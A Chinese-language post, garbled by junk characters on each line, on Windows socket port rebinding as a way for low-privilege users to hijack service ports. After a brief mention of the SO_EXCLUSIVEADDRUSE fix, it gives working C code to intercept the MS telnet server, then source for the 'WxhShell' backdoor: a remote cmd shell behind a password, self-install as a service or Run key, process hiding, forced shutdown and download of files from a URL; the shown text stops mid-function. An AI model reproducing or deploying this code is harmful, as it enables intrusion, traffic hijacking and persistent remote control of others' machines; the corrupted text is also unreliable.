在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[LYO'-g^F# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Y%KowgP\ 4agW<c# saddr.sin_family = AF_INET;
msl.{ 'S`l[L:.8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cl& w/OJ# ~KK}
$iM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\5ls
<=S. I dK*IA4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
KF%BX~80C )U&9d 这意味着什么?意味着可以进行如下的攻击:
Rl?1|$% %2QGbnt_* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.n8R%|C5 _2fW/U54_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=pL$*`]? M':-f3aT% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|AYii-g zL"e . 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4.O) /0sU R@c] )\^] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\{h_i
FU! \e86'& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
WtOjPW 0D5Z#iW>1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Z(MZbzY7Hq `OW'AS | #include
?8~l+m6s$ #include
?C|'GkT #include
iw )gNQ%z4 #include
9z(SOzZn DWORD WINAPI ClientThread(LPVOID lpParam);
a 0SZw int main()
.j4y0dh33 {
|"*P`C= WORD wVersionRequested;
<B6md
i'R DWORD ret;
8m+~HSIR WSADATA wsaData;
d"|_NG` vr BOOL val;
EQyX! SOCKADDR_IN saddr;
oCT,v 0+4O SOCKADDR_IN scaddr;
FGVw=G{r int err;
w%L4O;E]*{ SOCKET s;
z^9oaoTl SOCKET sc;
byM%D$R int caddsize;
5{=+S] HANDLE mt;
/pF8S!,z DWORD tid;
y[7M(K wVersionRequested = MAKEWORD( 2, 2 );
GCl
*x: err = WSAStartup( wVersionRequested, &wsaData );
c7CYulm if ( err != 0 ) {
k$$SbStD printf("error!WSAStartup failed!\n");
F_079~bJ return -1;
dA<%4_WZty }
m*
3ipI{h saddr.sin_family = AF_INET;
ip?]&5s g 4+K"Q/M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Bz'.7"
":0 N82 6xvA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kqB# 9 saddr.sin_port = htons(23);
EV6R[2kl if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4U dk# {
+3o
vO$g printf("error!socket failed!\n");
vA6`};| return -1;
$}vk+.!*1 }
z}-CU GS val = TRUE;
d>[i*u,]/ //SO_REUSEADDR选项就是可以实现端口重绑定的
<y7{bk~i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2S7BzZ/ {
b_sasZo printf("error!setsockopt failed!\n");
k[ *9b:~ return -1;
n[>hJ6 }
18X?CoM~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"E+;O,N- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ucv7`W
gr //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Sfe[z=7S
3?D,
Wu if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'/`O*KD] {
5&%M L ret=GetLastError();
;?q(8^A printf("error!bind failed!\n");
2#NnA3l]x% return -1;
UXji$|ET6 }
)ThNy:4 listen(s,2);
OcUj_Zd while(1)
=w`Mc\o " {
u>;aQtK~ caddsize = sizeof(scaddr);
dF `7] //接受连接请求
oL9<Fi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
8b0j rt if(sc!=INVALID_SOCKET)
yLf9cS6= {
Q>Ct]JW& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`XF[A8@h if(mt==NULL)
2{RRaUoRb {
,R=!ts[qi printf("Thread Creat Failed!\n");
&'`C#-e@ break;
ac\aH#J_nC }
a5Vlfx }
K
'I6iCrD CloseHandle(mt);
N5)H(<} }
Yt*NIwWr closesocket(s);
W/A@q o" WSACleanup();
P'iX?+* return 0;
Q.9,W=<6 }
^5MM<73 DWORD WINAPI ClientThread(LPVOID lpParam)
KT<i%)t2 {
8;`B3N7 SOCKET ss = (SOCKET)lpParam;
w}6~t\9D SOCKET sc;
I!Dx)>E& unsigned char buf[4096];
=oXlJ[)h SOCKADDR_IN saddr;
oeKl\cgFx long num;
S7J.(;
82 DWORD val;
X*#\JF4$i DWORD ret;
+)h# !/ //如果是隐藏端口应用的话,可以在此处加一些判断
GR(m+%Vw! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2.JrLBhN saddr.sin_family = AF_INET;
ug{sQyLN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t{UWb~" saddr.sin_port = htons(23);
;~
Xjk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W|{!0w {
Nq9pory^ printf("error!socket failed!\n");
^xk4HF return -1;
rc:UG "[ }
.z$UNB(!M val = 100;
!M }-N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
U1 3Lsky% {
&
:W6O)uY ret = GetLastError();
x$Wtkb0< return -1;
\3(s&K\Y6\ }
qDg`4yX.} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o ;9H~E {
4]zn,g?& ret = GetLastError();
RKMF?: return -1;
)y!gApNs" }
EQ"_kJ>81Y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#mioT",bm= {
N1E9w:T` printf("error!socket connect failed!\n");
X`Lv}6}xT closesocket(sc);
p? +!*BZ closesocket(ss);
|]:6IuslJ return -1;
i+Ne.h }
+|oLS_ while(1)
}#g &l*P {
kSJ;kz,_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
bA6^RIf? //如果是嗅探内容的话,可以再此处进行内容分析和记录
wko9tdC=U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vGH]7jht num = recv(ss,buf,4096,0);
}!*|VdL0 if(num>0)
$Y$s*h_-/< send(sc,buf,num,0);
iN Lt4F[i else if(num==0)
$^e_4]k break;
\ z*<^ONq num = recv(sc,buf,4096,0);
A[Ce3m if(num>0)
,o
`tRh< send(ss,buf,num,0);
ok-q9dM else if(num==0)
otdv;xI9 break;
0ikA@SAq }
(Q&jp!WU closesocket(ss);
&"1 _n]JO closesocket(sc);
H11@ DQ6 return 0 ;
E9.1~
) }
ncsk(`lo :-2sKD y k9y/.Mu ==========================================================
5}]gL tsB}'+!v# 下边附上一个代码,,WXhSHELL
)C$Ij9<A &`"uKO] ==========================================================
xy)W_~Mk *MWI`=c #include "stdafx.h"
2{ hG",JL ]VN1Y) #include <stdio.h>
.D=#HEshk #include <string.h>
Ko0T[TNkh #include <windows.h>
odvUU#l #include <winsock2.h>
Hc0V4NHCaL #include <winsvc.h>
Yk7^?W #include <urlmon.h>
`Z`o[]% _=qk.| p/ #pragma comment (lib, "Ws2_32.lib")
Ys5Iqj=mp #pragma comment (lib, "urlmon.lib")
:bP <H XQ Si #define MAX_USER 100 // 最大客户端连接数
9\r5&#<(I #define BUF_SOCK 200 // sock buffer
bOlb #define KEY_BUFF 255 // 输入 buffer
x}7Xd P.2$ .6i +_B| #define REBOOT 0 // 重启
4Gh%PUV# #define SHUTDOWN 1 // 关机
i?F~]8 cc3+Wx_ #define DEF_PORT 5000 // 监听端口
Nu; 9 %C >Win)g #define REG_LEN 16 // 注册表键长度
*^%ohCUi #define SVC_LEN 80 // NT服务名长度
i:^
8zW
({t6Cbw // 从dll定义API
LC/%AbM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;uU 8$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tH4+S?PI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
kPp7;U2A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@%As>X<3t ]u
>~: // wxhshell配置信息
Oyjhc<6 struct WSCFG {
DB+.< int ws_port; // 监听端口
sCAWrbOe> char ws_passstr[REG_LEN]; // 口令
4p(\2?B%f int ws_autoins; // 安装标记, 1=yes 0=no
>uz3 O?z P char ws_regname[REG_LEN]; // 注册表键名
n\4sNoFI char ws_svcname[REG_LEN]; // 服务名
vQ
DlS1L char ws_svcdisp[SVC_LEN]; // 服务显示名
!o`h*G-x char ws_svcdesc[SVC_LEN]; // 服务描述信息
vj<JjGP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
wb-_CQ int ws_downexe; // 下载执行标记, 1=yes 0=no
}xy[&-dh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E"Y[k8-:2/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ncij)7c)u ~jOk?^6 };
i}LVBx"K( ,fD#)_\g2 // default Wxhshell configuration
Ne2eBmY}( struct WSCFG wscfg={DEF_PORT,
mp>Ne6\Tu "xuhuanlingzhe",
8Nf%<nUv 1,
.|3&lb6 "Wxhshell",
lyyRyFfQ "Wxhshell",
FO
xZkU\e= "WxhShell Service",
!&vPG>V "Wrsky Windows CmdShell Service",
5*Y(%I< "Please Input Your Password: ",
.d%CD`8! 1,
Zm/I & "
http://www.wrsky.com/wxhshell.exe",
:0j_I\L "Wxhshell.exe"
~~3 BV, };
GA"zO, CR'1, // 消息定义模块
IkJ-*vI6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/~;om\7r char *msg_ws_prompt="\n\r? for help\n\r#>";
X< p KAO\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4Yya+[RY char *msg_ws_ext="\n\rExit.";
xr1,D5 char *msg_ws_end="\n\rQuit.";
4:Id8rzz char *msg_ws_boot="\n\rReboot...";
c R6:AGr char *msg_ws_poff="\n\rShutdown...";
EHX/XM char *msg_ws_down="\n\rSave to ";
[$%O-_x jq12,R2+) char *msg_ws_err="\n\rErr!";
@j=Q$k.GF char *msg_ws_ok="\n\rOK!";
=^`?O* /; 4b:q84 char ExeFile[MAX_PATH];
[,/~*L;7 int nUser = 0;
[^2c9K^NK HANDLE handles[MAX_USER];
tkKiuh?m int OsIsNt;
:[.**,0R qv.s-@l8 SERVICE_STATUS serviceStatus;
jdAjCy; s! SERVICE_STATUS_HANDLE hServiceStatusHandle;
d\v1R-V YGf<! // 函数声明
q=`i int Install(void);
6h:2,h
pE int Uninstall(void);
/V$U%0 int DownloadFile(char *sURL, SOCKET wsh);
YzVhNJWpw int Boot(int flag);
-]kvM void HideProc(void);
nb_$g@ 03 int GetOsVer(void);
rki0! P` int Wxhshell(SOCKET wsl);
i-gN<8\v void TalkWithClient(void *cs);
EohvP[i int CmdShell(SOCKET sock);
_mc-CZ int StartFromService(void);
%+HZ4M+hV int StartWxhshell(LPSTR lpCmdLine);
b.|k j XsbYWJdds VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\x;`8H VOID WINAPI NTServiceHandler( DWORD fdwControl );
\2!1fN
aK33bn'j // 数据结构和表定义
(rm*KD"] SERVICE_TABLE_ENTRY DispatchTable[] =
Yh2[
nF_ {
S^T
><C {wscfg.ws_svcname, NTServiceMain},
K26`wt {NULL, NULL}
hU6oWm };
;9$71E }WDzzjDR+ // 自我安装
;7E
c'nC4 int Install(void)
Wmc@:
(n {
F(KsB5OY? char svExeFile[MAX_PATH];
???` BF[| HKEY key;
?!HU$> strcpy(svExeFile,ExeFile);
IRyZ0$r:e\ Mqv[7.| // 如果是win9x系统,修改注册表设为自启动
D$Eq~VQ if(!OsIsNt) {
/odDJxJ
k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
AW8*bq1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a(uZ}yS$ RegCloseKey(key);
y4)iL?!J~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5y8VA4L/o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+h08uo5c RegCloseKey(key);
dVe,;?+A return 0;
%y_{?|+ }
=}zSj64 }
|p.|zH }
[h63* & else {
r4m z Jb*E6-9G // 如果是NT以上系统,安装为系统服务
KX
J7\} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7YFEyX10d if (schSCManager!=0)
nvQTJ4,, {
^!fY~(=U4 SC_HANDLE schService = CreateService
6=:s3I^ (
1Li*n6tLX` schSCManager,
_ee<i8_Va wscfg.ws_svcname,
g%<n9AUl wscfg.ws_svcdisp,
$[UUf}7L SERVICE_ALL_ACCESS,
%Ai' 6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Y>6N2&Q SERVICE_AUTO_START,
X,{ 3_ SERVICE_ERROR_NORMAL,
UmR4zGM} svExeFile,
T+e*' <!O NULL,
*3)kr=x NULL,
u'nQC*iJb NULL,
y @S_CB47 NULL,
6?'7`p NULL
#q4uS~ );
@VPmr}p:{ if (schService!=0)
.+,U9e:% {
d6W\
\6V CloseServiceHandle(schService);
tzthc*-< CloseServiceHandle(schSCManager);
3)yL#hXg) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^e=G} N^ strcat(svExeFile,wscfg.ws_svcname);
P?S]Q19Q4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hH HQmK<r
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0( *L)s,5 RegCloseKey(key);
|c^ ?tR< return 0;
uFhaN\S }
1
+[sM }
<z\ `Ma CloseServiceHandle(schSCManager);
a>x6n3{ }
'ZB^=T }
BM'!odRv BlQX$s] return 1;
vxHFNGI }
=J4|"z: |R1T;J<[ // 自我卸载
N#2ldY * int Uninstall(void)
rlD!%gG2x {
_&/ {A|n HKEY key;
9v[V"m`M "i\#L`TkzX if(!OsIsNt) {
VX&PkGi?o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-rn6ZSD) RegDeleteValue(key,wscfg.ws_regname);
X fqhD&g RegCloseKey(key);
r5Tdp)S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&iVdqr1, RegDeleteValue(key,wscfg.ws_regname);
Z Cjw)To( RegCloseKey(key);
h='F,r5#2 return 0;
z V\+za, }
H=Ilum06 }
!TJ,:c]4{! }
CF2Bd:mfZ else {
[d8Q AO1;) 94?WL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r]UF<*$ if (schSCManager!=0)
?)y^ [9 {
!~Uj 'w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Iz5NA0[=2 if (schService!=0)
%KXiB6<4 {
L]|mWyzT if(DeleteService(schService)!=0) {
6FQi=}O 1 CloseServiceHandle(schService);
R2gV(L(!! CloseServiceHandle(schSCManager);
ylKK!vRHT return 0;
1(Ta*"(0Ip }
7l=;I % CloseServiceHandle(schService);
w_xca( }
B-R#?Xn:!I CloseServiceHandle(schSCManager);
akxNT_ }
hd(FOKOP }
AO$AT_s BzP,Tu{, return 1;
3 /@z4:p0R }
B6Vlc{c5SO ^taN?5 // 从指定url下载文件
rtRbr_ int DownloadFile(char *sURL, SOCKET wsh)
b}3"v( {
kg[%Q]] HRESULT hr;
~,b^f{7`! char seps[]= "/";
$'498%K2 char *token;
_U<fS char *file;
d9#Vq=H / char myURL[MAX_PATH];
:TH cI;PG8 char myFILE[MAX_PATH];
ej`%}e%2 hm`=wceK strcpy(myURL,sURL);
["Ltqgx token=strtok(myURL,seps);
[y[d7V9_o while(token!=NULL)
CJBf5I3 {
&12KpEyf file=token;
PgWWa*Ew token=strtok(NULL,seps);
(+>
2&@@< }
$*fJKR_N _rT\?//B GetCurrentDirectory(MAX_PATH,myFILE);
cqS :Zq strcat(myFILE, "\\");
G<;~nAo?f0 strcat(myFILE, file);
cz>,sz~i send(wsh,myFILE,strlen(myFILE),0);
?Z7`TnG$uf send(wsh,"...",3,0);
QJGGce hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_M&TT]a if(hr==S_OK)
B `~EA] d return 0;
`@~e<s`j else
.f\LzZ-I: return 1;
\G" S7 5p;AON }
2$JGhgDI cO~<iy
// 系统电源模块
H_DCdUgC' int Boot(int flag)
+$dJA {
ze+YQF HANDLE hToken;
:Ha/^cC/3 TOKEN_PRIVILEGES tkp;
uJ!&T 2ym(fk.6{ if(OsIsNt) {
*'<AwG& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8\n3
i" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`g)}jo`W tkp.PrivilegeCount = 1;
Mt[yY|Ec| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c/;;zc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
f%Q{}fC{* if(flag==REBOOT) {
Dyov}y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4T@:_G2b return 0;
N9e'jM>Oos }
R'Sd'pSDN else {
D*XrK0#Z` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|Wh3a# return 0;
|3*9+4]a }
TR"C<&y$j }
9BCW2@Kp else {
1Ms[$$b$ if(flag==REBOOT) {
(o^tmH* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F^i3e31*t return 0;
]K=#>rZrB }
:cT)M(o else {
b/SBQ"B% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/F*Y~>*% 1 return 0;
`c`VIq?
}
wu41Mz7 }
3<0b_b `+7F H return 1;
mzgt>Qtkz= }
$%<{zWQm A~zn; // win9x进程隐藏模块
;Rrh$Ag void HideProc(void)
}V?m
=y [ {
j]u!;] 9^gYy&+>6] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
48^-]}; if ( hKernel != NULL )
'\:4Ijp<" {
om3
%\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=%Y1] F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+C(-f FreeLibrary(hKernel);
/<LZt<K }
7CIN!vrC|1 t^s&1#iC return;
MK&,2>m,A }
c4JV~VS+ ]a $6QS // 获取操作系统版本
;kFD769DLw int GetOsVer(void)
?=u?u
k<- {
m%'nk"p9 OSVERSIONINFO winfo;
agIqca; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C{exvLQ GetVersionEx(&winfo);
Y(Q
0m|3P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tKbxC>w return 1;
?
SFBUX(p else
*PJH&g#Ge return 0;
A*JOp8\) }
B8&q$QV IH|zNg{\Y // 客户端句柄模块
u]^s2v int Wxhshell(SOCKET wsl)
A8{jEJ=)P {
cslC+e/ SOCKET wsh;
727#7Bo struct sockaddr_in client;
crmQn ^4\ DWORD myID;
|9*Rnm_ E`HoJhB while(nUser<MAX_USER)
MxTJgY {
v%tjZ5x int nSize=sizeof(client);
!np_B0` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1p&.\ ^ if(wsh==INVALID_SOCKET) return 1;
Lg:1zC
|G j.E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.N(R~_ if(handles[nUser]==0)
2/-m-5A closesocket(wsh);
}$ y.qqG else
QiCia#_ nUser++;
l`v5e"V }
/[R=-s ; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UZdnsG7 7@ym:6Y+] return 0;
~OD6K`s3 }
xP8/1wd. ,!=
sGUQ) // 关闭 socket
%bcf% 7 void CloseIt(SOCKET wsh)
ZCCCuB {
[P2>KQ\ closesocket(wsh);
E|=x+M1sH nUser--;
e=Ox~2S ExitThread(0);
={g"cx }
[R]V4Hb 2;)IBvK // 客户端请求句柄
=?]`Xo,v~ void TalkWithClient(void *cs)
lMv6QL\>' {
ys=2!P-[# 3M#x)cW SOCKET wsh=(SOCKET)cs;
_L,~WYRo char pwd[SVC_LEN];
(Mv~0ShakO char cmd[KEY_BUFF];
It*U"4lgi char chr[1];
w1Bkz\95 int i,j;
|Iy;_8c 0fc;H}B* while (nUser < MAX_USER) {
PqspoH
0OI >s<Bu' r if(wscfg.ws_passstr) {
{-)^?Zb
@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yLRe'5#m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;CO qu#( //ZeroMemory(pwd,KEY_BUFF);
l!1_~!{y i=0;
k$=L&id while(i<SVC_LEN) {
B9(w^l$kZ| =Ti!9_~ // 设置超时
O%%Q./oh fd_set FdRead;
=8_b&4.:& struct timeval TimeOut;
5Q"yn2b4 FD_ZERO(&FdRead);
KKwM\ FD_SET(wsh,&FdRead);
X#1WzWk' TimeOut.tv_sec=8;
vhMoCLb TimeOut.tv_usec=0;
q,K|1+jn int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
B9l~Y/3| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%=z>kU1| olv&K(-ccI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\LUW?@gLa pwd
=chr[0]; , S^y>
if(chr[0]==0xd || chr[0]==0xa) { Az8b_:=
pwd=0; drpx"d[c
break; 1PVZGZxAgv
} LYAGpcG
i++; JbEEI(Q>g
} y/@Bhzc
,t_&tbf3
// 如果是非法用户,关闭 socket ;FI'nL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,`U>BBBLv
} z<Z0/a2'1
]prw=rD
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5NkF_&S_1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e!=7VEB
aGWO3Nk
while(1) { -qpvVLR,
Wrbv<8}%c
ZeroMemory(cmd,KEY_BUFF); ~M7X]
)4o8SF7lz
// 自动支持客户端 telnet标准 Cw^iA
U
j=0; uv5NqL&
while(j<KEY_BUFF) { 5xT, O
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i=5!taxu}E
cmd[j]=chr[0]; A46dtFD{
if(chr[0]==0xa || chr[0]==0xd) { 'RwfW|~6
cmd[j]=0; ,1~B7Zd
break; TlO=dLR7d
} nls$
wE
j++; AW;xlY= g
} }2Ge??!
7E*0;sA#
// 下载文件 <=!t!_
if(strstr(cmd,"http://")) { Ww~C[8q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); lhQMR(w^
if(DownloadFile(cmd,wsh)) j*?E~M.'1K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GQ85ykky
else ?AO=)XV2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p%Q{Rqc)
} 7aRy])x
else { b L.Xby<Y
Ur[ai6LNG
switch(cmd[0]) { I 8
?
)-XD=
]
// 帮助 6ImW|%
case '?': { ^^V+0 l
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &~<i"
W
break; Hl}m*9<9us
} hey/#GC*
// 安装 hQ)?LPUB
case 'i': { e\#aQ1?"
if(Install()) 8z-wdO\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~hP]<$v
else >7?Lq<H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Srzka2
break; Y3V2}
} i'ZnU55=
// 卸载 0p,_?3nX
case 'r': { yp
hd'Pu"
if(Uninstall()) rWL&-AZQl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .F/l$4CQ
else X#W6;?Z\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SbtZhg=S_
break; v&])D/a
} kT^`j^Jr
// 显示 wxhshell 所在路径 g|]Hm*
case 'p': { 98|1K>C
char svExeFile[MAX_PATH]; gsIp y
strcpy(svExeFile,"\n\r"); HT_nxe`E
strcat(svExeFile,ExeFile); W
Emh
send(wsh,svExeFile,strlen(svExeFile),0); /Zz[vf
break; uE#"wm'J
} Z'wGZ(
// 重启 8P%Jky&(
case 'b': { efyGjfoO
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uY&t9L8
if(Boot(REBOOT)) =EHKu|rX~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.A
\;FDyj
else { :K*/
closesocket(wsh); >b*}Td~J
ExitThread(0); 2"Ki5
} fo;^Jg.
break; 9 KU3)%U
} :Q;mgHTNz
// 关机 n}J!?zZc
case 'd': { ()_^:WQO?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S2V+%Z
_J
if(Boot(SHUTDOWN)) No'Th7=|S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?KFj=Yo
else { [TmZ\t!5$
closesocket(wsh); T\TKgO=)
ExitThread(0); 0[-@<w ^j
} 9'O@8KB_
break; X$<CIZ
} 239gpf]}
// 获取shell &A&2z l %#
case 's': { nsXyReWka
CmdShell(wsh); :W[d&e
closesocket(wsh); h(FFG%H(
ExitThread(0); :w9s bW
break; %Xl(wvd
} <OGXKv@
// 退出 LHusy;<E[
case 'x': { X> V`)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gr|102
CloseIt(wsh); eq4Yc*|9
break; NY%=6><t!
} 'Fa~l'G7X
// 离开 _sqV@ J
case 'q': { LE+#%>z>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {xQ(xy
closesocket(wsh); K]>X31Ho
WSACleanup(); #D Oui]
exit(1); ,z|g b]\
break; 6hf6Z3
} '+\.&'A
} *|.-y->
} T3/Gl6f
j.g9O]pi
// 提示信息 dQPW9~g8Hg
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6iJ\7
}
}&/_ S
} uVLKR PY
|BE`ASW;
return; F)uS2
} ?&$BQK
b,-qyJW6
// shell模块句柄 l#!6
tw+e?
int CmdShell(SOCKET sock) Tf.DFfV#y
{ Kd').w
STARTUPINFO si; 8Rd*`]@[pk
ZeroMemory(&si,sizeof(si)); @x/D8HK2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,&rHBNS
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hD>cxo
PROCESS_INFORMATION ProcessInfo; {Nny.@P)H
char cmdline[]="cmd"; {*t0WE&1t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yq\p%z$:
return 0; ])$Rw$`w
} vuNq7V*}
&265
B_'D
// 自身启动模式 I@o42% w2
int StartFromService(void) iCh,7I,m
